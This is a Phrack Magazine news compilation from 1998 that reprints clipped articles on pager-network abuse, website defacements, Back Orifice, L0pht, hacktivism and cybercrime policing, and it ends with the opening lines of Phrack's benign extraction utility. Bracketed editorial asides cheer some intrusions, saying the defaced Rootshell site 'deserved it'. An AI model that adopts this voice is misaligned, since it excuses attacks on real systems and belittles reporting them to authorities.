Title: Paging Network Hijacked

By: Chris Oakes

Date: 4:00am 24.Jul.98.PDT

[A non internet hacking article! Woohoo!]

Someone in Texas exploited a vulnerability in the PageMart paging network this week, sending a flurry of mysterious pages to tiny screens nationwide, confusing subscribers, and swamping the company's customer service center with phone calls.

PageMart said a random discovery enabled the intruder to use a set of pager addressing numbers to send messages to entire groups of customers, rather than individual subscribers. But a security expert said the system may have been hacked.

PageMart spokeswoman Bridget Cavanaugh detailed Wednesday's incident in an email late Thursday. "A person, unknown to PageMart," she said, "discovered that three PINs [personal identification numbers] on our paging terminal in Dallas were actually mail drops."

[snip...]

On Wednesday, PageMart customer and San Francisco resident Jeremiah Kelly reported that he received odd messages for a period of about an hour and a half on Wednesday afternoon.

Upon receiving one incomprehensible page -- unrecognizable in source or content -- he suspected a simple "wrong-number" message. "But then, all of a sudden, I got a blitz" Kelly said. Most notable was a recurring message: "There is only one blu bula."

"I received one of those several times," he said. Another pair of messages said "Mike, you're Mom drives a Passat," and another was sexually suggestive. Both of the latter pages were signed "Christian." Kelly said he received about 30 of the senseless messages.

[snip...]

"The incident impacted about 1.5 percent of our customers nationwide," Cavanaugh said. "Statistically, it's a small number." PageMart provides numeric and text paging service in all 50 states, Canada, Mexico, Central America, and the Caribbean, serving approximately 2.7 million customers.

"It's a perfect example of how overconfidence can eventually cause a problem," said Peter Shipley, who analyzes and bolsters system security for accounting firm KPMG Peat Marwick.

Though it wasn't clear that PageMart's system was actually broken into, Shipley said poor protection against break-ins is all too common. "I'm in the business of doing these type of security audits, and a large number of systems I've seen have easy password access -- under the assumption of 'why would somebody want to hack it?'"

In fact, paging services are responsible for enormously valuable data, from billing addresses to credit card information and more, Shipley said. Then there are the messages themselves, which can be easily netted as they make their way through the airwaves.

"Smaller companies believe they are not targets [for hackers]," concluded KPMG's Shipley. "But small companies are as equally targeted as large companies. They're stepping stones -- the small fish that hackers start on."

0x16>-----

Title: FBI busts hacker who sold clandestine accounts on PageNet system
Date: July 30, 1998 7:28 p.m. EDT
Source: Nando Times

PageNet Inc., one of the largest wireless message providers, said U.S. federal agents arrested a San Diego man Thursday who allegedly set up unauthorized voice mailboxes and paging accounts on its system, costing the company about \$1 million.

[snip...]

0x17>-----

Title: EFF DES Cracker Machine Brings Honesty to Crypto Debate
Date: July 17, 1998

"EFF DES CRACKER" MACHINE BRINGS HONESTY TO CRYPTO DEBATE
ELECTRONIC FRONTIER FOUNDATION PROVES THAT DES IS NOT SECURE

SAN FRANCISCO, CA -- The Electronic Frontier Foundation (EFF) today raised the level of honesty in crypto politics by revealing that the Data Encryption Standard (DES) is insecure. The U.S. government has long pressed industry to limit encryption to DES (and even weaker forms), without revealing how easy it is to crack. Continued adherence to this policy would put critical infrastructures at risk; society should choose a different course.

To prove the insecurity of DES, EFF built the first unclassified hardware for cracking messages encoded with it. On Wednesday of this week the EFF DES Cracker, which was built for less than \$250,000, easily won RSA Laboratory's "DES Challenge II" contest and a \$10,000 cash prize. It took the machine less than 3 days to complete the challenge, shattering the previous record of 39 days set by a massive network of tens of thousands of computers. The research results are fully documented in a book published this week by EFF and O'Reilly and Associates, entitled "Cracking DES: Secrets of Encryption Research, Wiretap Politics, and Chip Design."

[snip...]

0x18>-----

Title: Hacking site gets hacked
By: Paul Festa
Source: CNET News.com

Date: October 28, 1998, 11:30 a.m. PT

Hacking and security news and information site Rootshell.com was the subject of its own coverage today after suffering an early morning hack.

The hack, preserved here, occurred this morning at 5:12 a.m. PT, according to Rootshell. Administrators took the site down after discovering the attack at 6 a.m. PT. The site was restored two hours later.

"Steps have been taken to prevent re-entry, and full details are now being turned over to law enforcement for what we hope will turn into arrests," Rootshell administrator Kit Knox said this morning in a statement.

[Hrm. Lets give out scripts that help every clueless script kiddie break into thousands of sites worldwide.. then narc off the one that breaks into us. Time to face the music. That's like the pot calling the kettle black. Name your cliché', they deserved it.]

Knox later said that the matter had been turned over to the FBI.

The attacker replaced the Rootshell.com front page with a rambling screed peppered with profanity as well as references to groups and luminaries in the hacking world, including imprisoned hacker and perennial cause Kevin Mitnick.

The attacker also threatened to hit another hacking news site, AntiOnline.

0x19>-----

Title: From Criminals to Web Crawlers
By: Kristen Philipkoski
Date: 4:00am 15.Jul.98.PDT

A crime-fighting search engine used to fight terrorism and insurance scams may soon find a home at one of the Web's top search engines. The system, called VCLAS, has helped detectives crack cases all over the world.

"In 11 days, the PhoneFraud software helped law-enforcement agencies in New York uncover US\$1.2 billion in stolen services," said Jay Valentine, president and CEO of InfoGlide, the company that owns the VCLAS software package.

The software is built around a "Similarity Search Engine," which thrives on imperfect and complex information, data that engineer David Wheeler said often stumps search algorithms based on neural networks.

Similarity searching is well-suited to crime work, Wheeler said, because investigations are often inherently random and disconnected. For instance, if police are looking for a red vehicle, but a witness says it was maroon, a traditional keyword search wouldn't register a match since it couldn't recognize that the colors are similar.

0x1a>-----

Title: Running a Microsoft OS on a Network? Our Condolences
Date: July 21, 1998

[The title alone made this worth including.]

The CULT OF THE DEAD COW (cDc) will release Back Orifice, a remote MS Windows Administration tool at Defcon VI in Las Vegas (www.defcon.org) on August 1. Programmed by Sir Dystic [cDc], Back Orifice is a self-contained, self-installing utility which allows the user to control

and monitor computers running the Windows operating system over a network.

Sir Dystic sounded like an overworked sysadmin when he said, "The two main legitimate purposes for BO are, remote tech support aid and employee monitoring and administering [of a Windows network]."

Back Orifice is going to be made available to anyone who takes the time to download it. So what does that mean for anyone who's bought into Microsoft's Swiss cheese approach to security? Plenty according to Mike Bloom, Chief Technical Officer for Gomi Media in Toronto.

[snip...]

None of this is lost on Microsoft. But then again, they don't care. Security is way down on their list of priorities according to security expert Russ Cooper of NT BUGTRAQ (www.ntbugtraq.com). "Microsoft doesn't care about security because I don't believe they think it affects their profit. And honestly, it probably doesn't." Nice. But regardless of which side of the firewall you sit on, you can't afford not to have a copy of Back Orifice. Here are the specs:

[snip...]

After August 3, Back Orifice will be available from www.cultdeadcow.com free of charge.

0x1b>-----

Title: Security expert explains New York Times site break in
Date: September 18, 1998
By: Ellen Messmer

Although the New York Times is not revealing the details of what happened last weekend when it was hijacked by a hacker group, one security expert has it figured out.

A group of hackers calling themselves Hackers for Girlies broke into the Times news site on Sunday. The hackers took control of the site to display their own diatribe complete with nude images and to protest the arrest of hacker Kevin Mitnick. The Times worked for half a day to regain command of its server.

Hackers often break in by exploiting security vulnerabilities associated with default Common Gateway Interface scripts that ship with Web servers, according to Patrick Taylor, director of strategic marketing at Internet Security Systems in Atlanta. They exploit these scripts to send a string of long commands to cause a buffer overflow that lets them into the operating system. They first give themselves an account in the system and then stick in a backdoor Trojan horse program such as "rootkit" to gain and maintain root control, he said.

"CGI scripts are intended to pass commands from the Web server to something in the operating system, perhaps to pull database information," Taylor said. "But you should get rid of these superfluous CGI scripts and depend on your own custom scripts."

The Times may have had a long struggle regaining control of its Web site because the latest Trojan horses are designed so well that they hide within the operating system, encrypted or even providing the same checksum as the legitimate operating system.

"It's nefarious--the hacker essentially has remote administration of the Web server," Taylor said. "You can't rely on a backup of the machine. You

may have to reinstall the entire operating system."

By coincidence, the Times had once looked at using the ISS security gear, but decided not to, he said. The Times declined to discuss any aspect of its Web operations, saying it was "a matter of security."

[The real reason for this article and quoting a PR person from ISS maybe? Fact is, ISS didn't audit the network before OR after the breakin. How would this guy know the method they used to compromise the machine?]

The "Hackers for Girlies" ranted in its own posting to have "busted root" on the Times, and directed some invective toward Times reporter John Markoff and security expert Tsutomu Shimomura for their respective roles in the investigation of hacker Kevin Mitnick, now held in jail. Markoff and Shimomura two years ago collaborated on a book entitled "Takedown" about the law enforcement pursuit of Mitnick. In its own account, the Times said the hacker incident at nytimes.com may be related to an upcoming trial in January of Mitnick.

While hacker rantings and pornography can be bad enough to discover on a Web site, a far more serious scenario involves a hijacker more surreptitiously posting information that has been slightly changed, leading the reader to view it as authentic.

"This could end up like 'War of the Worlds,' where people went into a panic because they didn't know what they were hearing on the radio was made up," commented Doug Barney, Network World news editor.

0x1c>-----

Title: Merriam-Webster Taken Offline Old Fashioned Way
Date: Wed Aug 5 00:41:57 MDT 1998
Source: www.m-w.com

What happened?

On Thursday night, July 30th, the facility that hosts Merriam-Webster's Web site was burglarized and its servers were stolen. We've managed to restore limited capacity, but we need to obtain new hardware from our suppliers before we can return to full service. We hope to have the entire site active again in a few days. We apologize for the inconvenience and hope you will bear with us as we deal with the situation.

Thank you for your patience.

--The Merriam-Webster Web Team

[Guess we shouldn't put the computer by the window...]

0x1d>-----

Title: Long Haired Hacker Works Magic [my title]
Source: Nando Times
Date: September 20, 1998

The hacker calling himself Mudge pushed his long hair back, scratched his beard and stared at the computer screen. He knew there was something wrong with the data traffic he was watching, but what was it?

A week earlier, Mudge and his fellow hackers in their hangout known as the L0pht -- pronounced "loft" -- had acquired some software that was supposed to let computers talk to each other in code. But as Mudge watched the data

he realized someone else was doing the same and maybe even decoding it, which shouldn't happen.

"So you are saying that you're using DES to communicate between the computers?" Mudge recalled asking representatives of the software maker. Yes, they said, they were using DES, a standard encryption method that for years was considered virtually uncrackable.

But this wasn't DES, thought Mudge. It's almost as if...

Whoa. He blinked and felt the adrenaline kick in. This wasn't secure at all. In fact, the encoding was only slightly more complex than the simple ciphers kids did in grade school -- where "A" is set to 1, "B" is set to 2, and so on.

The company was selling this software as a secure product, charging customers up to \$10,000. And yet, it had a security hole big enough to waltz through.

Instead of exploiting this knowledge, Mudge confronted the company.

"You realize there isn't any secure or 'strong' encoding being used in your communications between the computers, don't you?" he asked.

"Well..."

"And that you claimed you were using DES to encrypt the data," he pressed.

"That will go in the next revision."

Mudge is a "real" hacker -- one who used to snoop around the nation's electronic infrastructure for the sheer love of knowing how it worked. His kind today are sighted about as often as the timberwolf, and society has attached to them the same level of legend.

Like the wolf, they were once considered a scourge. Law enforcement and telecommunication companies investigated and arrested many of them during the late 1980s and early '90s.

Today, many elite hackers of the past are making a go at legitimate work, getting paid big bucks by Fortune 500 companies to explore computer networks and find the weak spots.

And none too soon. The void left by the old hackers has been filled by a new, more destructive generation.

So today, Mudge -- who uses a pseudonym like others in the hacker community, a world where anonymity keeps you out of trouble -- wears a white hat. As part of L0pht, the hacker think tank, he and six comrades hole up in a South End loft space in Boston and spend their evenings peeling open software and computer networks to see how they work.

When they find vulnerabilities in supposedly secure systems, they publish their findings on the Web in hopes of embarrassing the companies into fixing the problems. A recent example: They posted notice via the Internet of a problem that makes Lotus Notes vulnerable to malicious hackers...

A Lotus spokesman said the company was aware of the flaw but it was extremely technical and unlikely to affect anyone.

The hackers at L0pht have made enemies among industry people, but they command respect. They were even called to testify before the U.S. Senate Committee on Governmental Affairs in May.

Why do they publish what they find?

"If that information doesn't get out," Mudge replies, "then only the bad guys will have it."

The "bad guys" are the hacker cliché: secretive teens lurking online, stealing credit card numbers, breaking into Pentagon systems, and generally causing trouble. One of L0pht's members, Kingpin, was just such a cad when he was younger, extending his online shenanigans to real-world breaking and entering. Today, L0pht keeps him out of mischief, he said.

"We're like midnight basketball for hackers," said Weld Pond, another member.

Malicious hacking seems to be on the rise.

Nearly two out of three companies reported unauthorized use of their computer systems in the past year, according to a study by the Computer Security Institute and the FBI. Another study, from Software AG Americas, said 7 percent of companies reported a "very serious" security breach, and an additional 16 percent reported "worrisome" breaches. However, 72 percent said the intrusions were relatively minor with no damage.

American companies spent almost \$6.3 billion on computer security last year, according to research firm DataQuest. The market is expected to grow to \$13 billion by 2000.

Government computers are vulnerable, too. The Defense Department suffered almost 250,000 hacks in 1995, the General Accounting Office reported. Most were detected only long after the attack.

This is why business booms for good-guy hackers.

Jeff Moss, a security expert with Secure Computing Inc., runs a \$995-a-ticket professional conference for network administrators, where hackers-cum-consultants mingle with military brass and CEOs.

"I don't feel like a sellout," said Moss, who wouldn't elaborate on his hacking background. "People used to do this because they were really into it. Now you can be into it and be paid."

News reports show why such services are needed:

---Earlier this month, hackers struck the Web site of The New York Times, forcing the company to shutter it for hours. Spokeswoman Nancy Nielsen said the break-in was being treated as a crime, not a prank. The FBI's computer crime unit was investigating.

---This spring, two California teenagers were arrested for trying to hack the Pentagon's computers. Israeli teen Ehud Tenebaum, also known as "The Analyzer," said he mentored the two on how to do it. The two Cloverdale, Calif., youths pleaded guilty in late July and were placed on probation.

---Kevin Mitnick, the only hacker to make the FBI's 10 Most Wanted list, was arrested in 1995, accused of stealing 20,000 credit card numbers. He remains in prison. A film called "TakeDown," about the electronic sleuthing that led to Mitnick's capture, is in the works. Comments protesting Mitnick's prosecution were left during the hack of the New York Times Web site.

----In 1994, Vladimir Levin, a graduate of St. Petersburg Tekhnologichesky University, allegedly masterminded a Russian hacker gang and stole \$10 million from Citibank computers. A year later, he was arrested by Interpol at Heathrow airport in London.

"Lemme tell ya," growled Mark Abene one night over Japanese steak skewers. "Kids these days, they got no respect for their elders."

Abene, known among fellow hackers as Phiber Optik, should know. He was one of those no-account kids in the 1980s when he discovered telephones and computers. For almost 10 years, he wandered freely through the nation's telephone computer systems and, oh, the things he did and saw.

Celebrities' credit reports were his for the taking. Unlimited free phone calls from pilfered long-distance calling card numbers. Private phone lines for his buddies, not listed anywhere. And the arcane knowledge of trunk lines, switches, the entire glory of the network that connected New York City to the rest of the world.

But Abene's ticket to ride was canceled in January 1994, when, at age 22, he entered Pennsylvania's Schuylkill Prison to begin serving a year-and-a-day sentence for computer trespassing. The FBI and the Secret Service described him as a menace. The sentencing judge said Abene, as a spokesman for the hacking community, would be made an example.

And yet, to many in the digital community, Abene's offenses amounted to unbridled curiosity. He was just a kid poking around, doing what teen boys do, going to places they're told to avoid.

"Phree Phiber Optik" pins appeared. Many felt Abene embodied the hacker ethic espoused by his friend and fellow hacker, Paul Stira: "Thou Shalt Not Destroy."

With black hair parted in the middle and falling to the center of his back, a thin beard ringing his mouth, the 26-year-old Abene still looks like a mischievous kid. Hacking, he said, is hardwired in boys. When they play with toys when they're young, they break them, then try to figure out how the parts fit back together.

He added, "For some of us, it just never goes away."

Still, the hackers of the 1980s and early '90s have grown up. Some got busted, others simply graduated from college and fell out of the scene.

Today, many want to be seen as mainstream, said Jeremy Rauch, a network security expert for Secure Computing Inc. When it's time to talk consulting contracts with major corporations, the hair gets neatly combed, the suit replaces the combat boots and black T-shirt, and the counterculture rhetoric gets toned down.

A hacker in San Francisco who edits the online publication Phrack and goes by the pseudonym Route talks about his job at a security firm as a sign of maturity. Contentedly, he notes he can work from home, write as much code as he can and never punch a clock.

"Are there still hackers out there?" asked Mike Godwin, counsel for the Electronic Frontier Foundation, a cyber-rights group. In the early 1990s, he pushed hard for the organization to champion Abene and other members of the cyber gang Masters of Deception. By 1993, he said, hysteria

surrounding hackers began to sputter, to be replaced by a fear of pornography.

"There never were very many hackers," he said, not major ones, anyway. Mainly, they were and are "this tiny minority of 13- to 18-year-olds who learned how to make toll-calls for free."

Today's younger hackers pull programs off the Web that sniff for passwords and unlock backdoors automatically. It's the equivalent of rattling every door on a street and finally getting lucky, chancing upon one that's unlocked.

As for the true hackers of the first generation, Godwin said: "These guys are genuinely smart and genuinely have a fascination with the technology. And they're mostly harmless."

What do younger hackers say to all this?

Not much, if you judge by interviews at DefCon6.0, the sixth annual hacker forum and party held in Las Vegas at the end of July.

Some said they hack to learn. Others took a counter-culture stance: hacking as civil disobedience. They wouldn't give names or talk specifically about any criminal activities. It was as if they wanted to present themselves as blank slates, upon which the fears of their non-wired elders could be inscribed.

At DefCon, they set off stink bombs at one point, and pulled other juvenile pranks.

"Paging Mr. Mitnick," the intercom droned through the hotel-casino's meeting rooms. The unwitting hotel staff member repeated the call for the jailed hacker. "Paging Mr. Kevin Mitnick."

Pony-tailed guys dressed in black smirked. Gotcha.

As hard house and techno music provided a soundtrack, they drooled over new software and pawed through piles of stuff for sale: computer equipment, of course, but also more books on conspiracy, privacy protection, and police methods than any paranoid could want.

Among the titles: "Scanners & Secret Frequencies," "Secrets of a Super Hacker," even "Throbbing Modems."

The kids flocked to DefCon's talk by the "white hat" hackers of L0pht.

"We're in the middle generation right now," said convention organizer Moss. "You've got your original hackers from MIT -- the old school -- who are established. They're the forefathers of this information revolution. And you've got us who watched computers go from mainframe to desktop to laptop. And you've got the younger generation that have always known computers."

0x1e>-----

Title: Body of Evidence
By: Beverly Hanly
Date: 4:00am 5.Aug.98.PDT

Real criminals are tried in real courts, so why shouldn't virtual criminals be tried in virtual courts?

A handful of legal scholars from the Institute on the Arts and Civic Dialogue (IACD) are mulling over the question and will convene Wednesday to discuss whether virtual courts are the best forum for cybercrime trials and if a virtual legal system could lead to new legal processes regarding real world crimes.

The experts will join multimedia artist Shu Lea Cheang, creator of the Brandon project, for a webcast forum from 8 to 11 pm, EDT, at the Harvard Law School.

The group will play out a fictitious courtroom drama based on several disputes involving cyberetiquette, gender identity, and the hazy line between fantasy vs. reality as the first public forum in the year-long Brandon project commissioned by New York's Guggenheim Museum. Brandon explores issues of gender identity and the consequences of experimenting with sexuality in real life and in cyberspace.

The ongoing media and legal debate regarding hate speech and the proliferation of sexual content on the Internet and whether or not these are harmful -- and to whom -- is the territory the mock trial will cover.

Harvard theater director Liz Diamond will collaborate with Cheang to guide the group as they dramatize elements drawn from real-life sexual assault cases, including that of the project's namesake Teena Brandon, a transsexual who was murdered in Nebraska in 1993. Other cases will involve a virtual trial for "cyberrape," a MUD character named Mr. Bungle, and the FBI arrest of Michigan student Jake Baker for his rape-and-murder fantasy about a fellow student posted to a Usenet newsgroup in 1994.

Actors will play the roles of victims and perpetrators, while professors from Harvard, University of Virginia, and Columbia law schools will act as "standing jurors" to examine and comment on the legalities.

"This is a venue where you can experiment with the process and substance of these [cyberlaw] cases," said Jennifer Mnookin, professor of law at Virginia's School of Law in Charlottesville, who will sit in on the session. She feels that virtual worlds like LambdaMOO can provide a new and more appropriate arena for dispute resolution.

"Part of what's at issue here is how much someone can be hurt with words," said Mnookin. "Someone who commits a violation in cyberspace shouldn't necessarily be subject to consequences in real courtrooms. Something like the LambdaMOO 'cyberrape' was appropriately settled in a virtual court. The perpetrator was expelled from that world, his virtual identity was annihilated -- he was 'toaded.' What is a violation in one world might not be in another."

Virtual penalties can translate from one world to the other as well. Cheang, in her virtual court, suggests the idea of "virtual castration" as an alternative to "chemical castration" advocated by some as a way of dealing with sexual offenders.

The August public event in Cambridge, Massachusetts, is the first time since the Brandon project began on 20 June that Cheang will be able to interact with both a live and a Net audience.

"The test will serve as a base toward constructing a digiarchitextual space of a virtual court at the Guggenheim's [proposed] virtual museum," said Cheang, who will collaborate with an architect of physical spaces to create a "courtroom" at the museum. "My work has always fused actual and virtual space."

Netizens need nothing more than an Internet connection to tune in to the mock trial. But Cheang also wants to include a public that has no access to Net technology.

Anyone in the Harvard area who's interested can physically attend the staged trial. In New York, street audiences can visit the Guggenheim SoHo's video wall, which is made up of 75 contiguous 40-inch projection cubes. The video wall will display images from the Brandon project and audiences will be able to interact at scheduled times.

"We're not sure how the 'experimentation' with the audience will go," said Cheang. "Maybe we'll fail badly. But it is this uncertainty, this feeling that we're exploring new ground in public interaction that is most exciting for me and my collaborators here at the Institute."

Law professor Mnookin looks at the experiment as a venue that can open up the dialog on cyberlaw issues. "What's interesting to me about 'virtual law' is that it's much more obvious than in the real world that the rules are malleable, that they're created by the participants.

"In the real world, it's easy to take the legal processes for granted, to assume that [those processes] can't easily be transformed," she continued. "If virtual worlds are used as laboratories, it's easier to recognize the possibilities for change -- both within a virtual environment, and, just maybe, in the real world as well."

The Brandon Project is hosted at Harvard in conjunction with the brand-new IACD until 14 August. IACD puts artists in various media together with a community of scholars, journalists, and civic activists to explore current events and controversies.

After the test trial, Cheang will move on to Amsterdam, Netherlands, to begin setting up the next live installation of the project: "Digi Gender, Social Body: Under the Knife, Under the Spell of Anesthesia," to be webcast in September 1998. "Would the Jurors Please Stand Up? Crime and Punishment as Net Spectacle" is scheduled for May 1999.

0x1f>-----

Title: The Golden Age of Hacktivism
By: Niall McKay
Date: 4:00a.m. 22.Sep.98.PDT

On the eve of Sweden's general election, Internet saboteurs targeted the Web site of that country's right-wing Moderates political party, defacing pages and establishing links to the homepages of the left-wing party and a pornography site.

But the Scandanavian crack Saturday was not the work of bored juveniles armed with a Unix account, a slice of easily compiled code, and a few hours to kill. It advanced a specific political agenda.

"The future of activism is on the Internet," said Stanton McCandlish, program director of the Electronic Frontier Foundation. "More and more, what is considered an offline issue, such as protesting the treatment of the Zapatistas in Mexico, is being protested on the Net."

In the computer-security community, it's called "hacktivism," a kind of electronic civil disobedience in which activists take direct action by breaking into or protesting with government or corporate computer systems. It's a kind of low-level information warfare, and it's on the rise.

Last week, for example, a group of hackers called X-pilot rewrote the home

page of a Mexican government site to protest what they said were instances of government corruption and censorship. The group, which did not reply to several emails, made the claims to the Hacker News Network. The hacktivists were bringing an offline issue into the online world, McClandish said.

The phenomenon is becoming common enough that next month, the longtime computer-security group, the Cult of the Dead Cow will launch the resource site hacktivism.org. The site will host online workshops, demonstrations, and software tools for digital activists.

"We want to provide resources to empower people who want to take part in activism on the Internet," said Oxblood Ruffian, a former United Nations consultant who belongs to the Cult of the Dead Cow.

Oxblood Ruffian's group is no newcomer to hacktivism. They have been working with the Hong Kong Blondes, a near-mythical group of Chinese dissidents that have been infiltrating police and security networks in China in an effort to forewarn political targets of imminent arrests.

In a recent Wired News article, a member of the group said it would target the networks and Web sites of US companies doing business with China.

Other recent hacktivist actions include a wave of attacks in August that drew attention to alleged human rights abuses in Indonesia. In June, attacks on computer systems in India's atomic energy research lab protested that country's nuclear bomb tests.

More recently, on Mexican Independence Day, a US-based group called Electronic Disturbance Theater targeted the Web site of Mexican President Ernesto Zedillo. The action was intended to protest Zedillo's alleged mistreatment of the Zapatista rebels in Chiapas. Nearly 8,000 people participated in the digital sit-in, which attempted to overwhelm the Mexican president's Web servers.

"What we are trying to do is to find a place where the public can register their dissatisfaction in cyberspace, so that your everyday [mouse] clicker can participate in a public protest," said EDT co-founder Ricardo.

The apparent increase in hacktivism may be due in part to the growing importance of the Internet as a means of communication. As more people go online, Web sites become high-profile targets.

It also demonstrates that many government sites are fairly easy to crack, said one former member of Milw0rm, the now defunct group that defaced the Indian research lab's Web site. In an interview in Internet Relay Chat, the cracker rattled off a list of vulnerable US government Web sites -- including one hosting an electron particle accelerator and another of a US politician -- and their susceptibility to bugs.

"They don't pay enough for computer people," said the cracker, who goes by the name t3k-9. "You get \$50,000 for a \$150,000 job."

Some security experts also believe that there is a new generation of crackers emerging. "The rise in political cracking in the past couple of years is because we now have the first generation of kids that have grown up with the Net," John Vranesevich, founder of the computer security Web site AntiOnline. "The first generation of the kids that grew up hacking are now between 25 and 35 -M-^V often the most politically active years in peoples' lives."

"When the Cult of the Dead Cow was started in 1984, the average age [of our members] was 14, and they spent their time hacking soda machines,"

said Oxblood Ruffian. "But the last couple of years has marked a turning point for us. Our members are older, politicized, and extremely technically proficient."

While hacktivists are lining up along one border, police and law enforcement officials are lining up along another.

This year the FBI will establish a cyber warfare center called the National Infrastructure Protection Center. The US\$64 million organization will replace the Computer Investigations and Infrastructure Threat Assessment Center and involve the intelligence community and the military.

Allan Paller, director of research for the SANS Institute, said the FBI is staffing the new facility with the government's top security experts. "They are stealing people from good places, including a woman from the Department of Energy who was particularly good," he said in a recent interview. "They are taking brilliant people."

Paller also said that a grassroots effort is under way in Washington to establish a National Intrusion Center, modeled after the Centers for Disease Control.

"There is definitely an increased threat of cyber terrorism," said Stephen Berry, spokesman for the FBI press office in Washington.

As offline protests -- which are protected in the United States by the constitution -- enter the next digital age, the question remains: How will the FBI draw the distinction between relatively benign online political protests and cyber terrorism?

0x20>-----

Title: Phrack straddles the world of hackers

Source: Nando Times

Date: September 20, 1998

The lines of text scrolled off the screen quickly, but the bleached-blond hacker snatched quick glances at the visitors' log on his Web page. Lots of visitors using military and government computers. The hacker, who calls himself Route, said he always gets a kick out of the feds' visits. He smiled.

The FBI, the CIA and the others "wouldn't be doing their job if they weren't tracking computer information both legitimate and illegitimate," Route said. "I guess Phrack falls somewhere in between."

Phrack is an online publication called a 'zine. It's a digital chimera: written for hackers but read by law enforcement, too. It's been the subject of federal prosecution, yet it still operates in the open. Its name combines "hack" and "phreak," which refers to phone hacking.

It's got attitude, technical know-how and in many ways defines today's hacker scene. It first hit the electronic bulletin boards Nov. 17, 1985, ages ago in hacker years.

To put its longevity in perspective, Phrack came out two years after the movie "WarGames" in which actor Matthew Broderick established the now-cliched image of the hacker as the lonely kid who altered his grades with a computer. Phrack predates the World Wide Web by almost a decade. And Phrack is older than many of its readers, who number about 8,000, said Route, who refuses to give his real name.

Route, 24, doesn't look like the scrawny computer nerd with the

cathode-ray pallor so many think of when the word hacker is mentioned. Silver earrings dangle from each ear and a bar pierces his tongue. Spidery tattoos creep down his shoulders and over biceps grown solid with hours of iron work.

Behind his glower lies a keen mind that cuts through computer network problems like a digital knife, an invaluable skill for his day job at a computer security firm with Fortune 500 companies for clients. Route refused to name his company.

Phrack's improbable history begins in 1985 when a hacker with the handle Taran King cobbled together various subversive texts that had been circulating like Soviet-era samizdat on the archipelago of underground electronic bulletin boards. It included all sorts of mischief-making: "How to Pick Master Locks," "How to Make an Acetylene Bomb" and "School/College Computer Dial-Ups."

But Phrack found itself the focus of federal prosecution in 1990, when editor Craig Neidorf, also known as Knight Lightning, was prosecuted by the Chicago Computer Fraud and Abuse Task Force. His alleged crime? He published a document in Phrack with certain details of the emergency 911 systems in use around the country. It had been given to him by another hacker who had copied it from computers owned by BellSouth, which valued it at almost \$80,000.

But the task force wanted to prove the document was more than valuable. Assistant U.S. Attorney William J. Cook said it put dangerous information in the hands of hackers.

The case fell apart when Neidorf's lawyer proved that more detailed information about the system had appeared in other publications. You could order them from phone company technical catalogs for \$13. The charges were dropped. Neidorf's trial was over.

If today's Phrack is a bit less confrontational, that's understandable. Like many of the older hackers, Route is shifting his focus away from anarchy texts and phone hacking to computer security. Its "how-to" days are pretty much over.

"Phrack is not meant to be a manual of vulnerabilities," he said.

As the editor, Route knows that Phrack can still be used for illegal purposes. "But you can't hold people completely liable for just putting information out there."

He said he has had "blatantly illegal stuff" sent to him. Once, he said he received the technical specifications for most pager systems used in the country, complete with how to hack those systems. He didn't publish.

"It's a judgment call," he said. "I have no intention of running up against the law or (upsetting) the military."

But it's almost guaranteed that something gleaned from Phrack will be used against the computer system of a big and powerful organization or business.

"The scene is going to do what the scene is going to do," he said. "It's like any clique in society. You have good people and you have bad people."

0x21>-----

Title: Cops see little hope in controlling computer crime
By: Rob Lemos,

Source: ZDNN

Date: August 6, 1998 10:16 AM PT

Despite making headway combating high-tech criminals, law enforcement officials say they remain worried about their ability to investigate and prosecute cyber crimes. Encryption, anonymity, and the jurisdictional problems posed by a global Internet are quickly turning from small headaches to full-blown migraines for local, state, and federal police forces.

"It's hard to predict where we will be in 10 years," said Scott Charney, chief of the computer crime and intellectual property section of the U.S. Department of Justice. "But there are going to be all sorts of birthing pains." Charney gathered here with other computer-savvy law enforcement officials to attend an international symposium on criminal justice issues at the University of Illinois at Chicago. The symposium focused on high-tech crime, cyber-terrorism, and information warfare.

Invisible criminals Law enforcement officers say one of their biggest challenges paradoxically remains knowing when a crime is committed.

According to the General Accounting Office, there were 250,000 attempted break-ins at the Department of Defense in 1995. NASA estimates that crackers -- hacker criminals -- broke in to over 120,000 of its systems in 1996. Yet, few of those incidents are detected, much less reported. When DOD hackers broke into their own servers in 1996 and 1997, they attacked 38,000 machines. Only four percent of the incidents were detected. Out of that number, only 27 percent of detected break-ins were reported.

"We will get better," said Doris Gardner, an investigator with the National Infrastructure Protection Center, a new federal agency established to fight computer crime. "We need to educate -- to work better with each other."

Pandora's box

Yet, even as law enforcement is educating itself on the challenges ahead, experts here said cyber-criminals continue to refine their abilities.

According to the DOJ's Charney, the number of cases involving encrypted data climbed from three percent in 1996 to seven percent in 1997. If that trend continues, he said, the only tactic left for law enforcement is to increase its surveillance capabilities.

"If privacy advocates get their way on encryption," said Charney, "they may not be happy."

With no way to read into encrypted electronic documents, he added, the FBI and others will have to rely on capturing the evidence at the source. "And that could really decrease privacy."

Even so, there are other ways around encryption. In 1996, when an ISP reported that its system had been cracked, all FBI leads ran into brick walls. Luckily, the cracker, Carlos Salgado Jr. -- who had stolen over 100,000 credit card numbers worth more than an estimated \$160 million -- found a potential buyer who suspected his credit card was one of the ones on the block to be sold. The "buyer" contacted the FBI and became a cooperative witness in the case.

Despite Salgado's extensive use of encryption -- both his e-mails and the actual credit-card data were encrypted -- the FBI had no problems collecting evidence, because their witness received all the codes from Salgado.

Luck, or a trend? It's too early to tell, but Gardner, for one, seems positive on the FBI's ability to prosecute. "If we know about it," she said, "we can usually prosecute it."

----[EOF

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 12 of 12

-----[Phrack Magazine Extraction Utility

-----[Phrack Staff

New this issue: A win32 version.

-----8<-----CUT-HERE----->8-----

```
<++> EX/PMEU/extract3.c
/*  extract.c by Phrack Staff and sirsyko
 *
 *  (c) Phrack Magazine, 1997, 1998
 *      version 3 (P54): 07.14.98
 *          - patched by Cipso to allow for redirection from stdin
 *          - patched by route to return heap memory when no longer needed
 *      version 2 (P53): 01.08.98 rewritten by route
 *          - aesthetics
 *          - now accepts file globs
 *      todo:
 *          - more info in tag header (file mode, checksum)
 *
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical
 *  directory strcuture.  Use to extract source code from any of the articles
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  gcc -o extract extract.c
 *
 *  Usage:
 *
 *  ./extract file1 file2 file3 ...
 *      OR
 *  bzip2 -dc P54-*.bz2 | ./extract -
 */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <errno.h>
#include <dirent.h>
```

```
